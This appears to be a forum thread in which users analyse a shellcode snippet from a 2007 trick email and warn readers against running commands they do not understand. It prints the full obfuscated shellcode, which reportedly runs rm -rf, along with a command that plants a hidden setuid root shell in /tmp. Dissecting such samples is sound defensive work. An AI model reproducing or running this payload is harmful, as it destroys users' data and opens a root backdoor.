char esp[] _attribute_ ((section(".text"))) /* e.s.p release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;";
What I've gathered:
1. The final bytes of hex there are "/bin/sh\0-c\0", which is where I'm getting the argv from. The exec is mostly a guess, because I can't think what else it would be doing. The previous hex bytes are non-text, possibly precompiled executable code.
2. The '_attribute_ ((section(".text")))' is a gcc extension that causes this string not to be stored where it usually would be in the binary. I believe the .data section would be more normal? But I've never been very clear on what the different sections are for.
It comes from this trick-email: http://seclists.org/fulldisclosure/2007/Aug/71
There are some details on these commands (and looks like the source article) here: http://ubuntuforums.org/announcement.php?f=48 (3rd post)
I found the earliest mention of this here, as part of a fake sudo exploit in 2005: http://seclists.org/fulldisclosure/2005/Aug/39
shoddy article.
[edit: as pointed out by hkolk, the exploit is fake and runs rm -rf]
Also, most of those commands won't hurt much if they're not run as root (except the forkbomb and the recursive chmod/rm, and rm won't let you do that by default). If you run untrusted commands as root you deserve what happens to you.
A simple rule of thumb is: don't run any commands you don't understand before looking up a few descriptions of what it means (or use man pages).
Number 2, for example, is just a bunch of shellcode, and unless you do penetration testing for a living, you probably can't directly see what it'd do. This goes not only for this particular script, but for mostly every piece of shellcode that can be written. (And make no mistake, there are a frapillion ways in which a piece of shellcode can utterly destroy your computer.) Ergo: don't run them if you don't get them.